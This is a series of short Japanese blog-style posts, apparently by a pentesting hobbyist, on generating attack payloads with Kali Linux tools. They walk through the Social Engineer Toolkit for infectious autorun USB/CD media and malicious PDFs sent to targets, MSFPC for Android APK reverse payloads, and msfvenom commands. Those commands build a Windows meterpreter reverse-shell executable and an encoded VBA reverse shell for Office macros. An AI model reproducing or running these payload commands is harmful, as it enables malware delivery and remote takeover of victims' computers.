Hello there, ('ω')ノ
メディアドライブを作成する方法は。
Kali Linuxで、ソーシャルエンジニアリングツールキットを選択して。
下記の手順で、悪意のあるペイロードを生成して。
あとは、LHOSTのIPアドレスとリッスンポートを設定だけ。
/root /.set/にautorunフォルダができるので。
このフォルダをUSBやCD/DVDにコピーして、ターゲットに配布することに。
いつものように攻撃者は、リスナーを設定してターゲットの感染を待つばかり。
Best regards, (^^ゞ
Hello there, ('ω')ノ
ターゲットのシステムが強化され、パッチが適用されていて。
最新のセキュリティソフトウェアも配備されていて。
技術的に攻撃者が脆弱性を見つけて悪用することは非常に困難で。
ソーシャルエンジニアリングは、システムのセキュリティ制御を回避して。
人間の行動を操作する技術で。
まずは、Kali LinuxのメニューからSocial Engineering Toolkitを 選択して。
悪意のあるPDFを生成するには、下記のメニューを選択していって。
下記のメニューを選択して。
最後に攻撃者のIPアドレスとポート番号を設定して。
攻撃用PDFファイルは、/root/.set/に作成されて。
これをなんらかの手段を使って、ターゲットに送信するわけで。
攻撃者は、リスナーを開始する必要があって。
PDFファイルを受け取ったターゲットはAdobe Readeで開くと何も気づくことはなく。
Best regards, (^^ゞ
Hello there, ('ω')ノ
ペイロードをすばやく生成したい場合は、MSFPCツールが役に立って。
MSFPCは、バックエンドでmsfvenomと同じツールを使用していて。
MSFPCはペイロードを生成するために1つの引数を必要とするだけで。
MSFPCを開始するには、下記のコマンドで。
msfpc
Androidをターゲットにするケースだと下記のコマンドを入力して。
msfpc apk
するとシステムで使用可能なネットワークインターフェイスの一覧を表示されて。
リバース接続に使用するIPアドレスを尋ねられるので選択すると。
APKペイロードが作成されて、/rootディレクトリに保存され。
ペイロードのほかにMSFハンドラスクリプトも作成されて。
Best regards, (^^ゞ
Hello there, ('ω')ノ
これまで、Metasploit Frameworkには、下記の２つのユーティリティがあって。
msfpayload
指定された形式でペイロードを生成するために使用され
msfencode
アルゴリズムを使用してペイロードをエンコードおよび難読化するために使用され
ただ、最新バージョンでは、これらのユーティリティがmsfvenomに統合されて。
msfvenomは独立したユーティリティなので。
msfconsoleを同時に実行する必要はくて。
使用可能なすべてのペイロードを一覧表示するには、下記コマンドで。
msfvenom --list payloads
利用可能なすべてのエンコーダを一覧表示するには、下記コマンドで。
msfvenom --list coders
下記のコマンドで、ペイロードの生成もできて。
IPアドレス192.168.1.27のポート8080でMeterpreterリスナーを起動するといった。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.27 lport=8080 -f exe > /root/reverse_tcp.exe
できあがったペイロードファイルをWindowsへ配布して、実行すると。
下記のように設定したリスナーにアクティブなMeterpreterセッションが返されて。
また、下記のようにVBA形式で生成されたペイロードだと。
Word / Excelドキュメントのマクロに埋め込むことができて。
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.27 LPORT=443 EXITFUNC=thread -f python -e x86/shikata_ga_nai -f vba -o /root/office_backdoor
Best regards, (^^ゞ
Hello there, ('ω')ノ
Metasploitの詳細を確認するのには下記のサイトが役立って。
https://www.offensive-security.com/metasploit-unleashed/
http://resources.metasploit.com/
https://metasploit.help.rapid7.com/docs
Metasploit WebインターフェースのMetasploit CEのダウンロードをダウンロードして。
https://www.rapid7.com/products/metasploit/download/community/thank-you/
アクティベーションキーを取得しようとしてもできず。
Rapid7とチャットで質問していたら、どうやらCE版は提供終了するようで。
一応、試用期間限定でPRO版をインストールしたものの14日程度で。
購入するとなると金額も高いので却下することにして。
Best regards, (^^ゞ
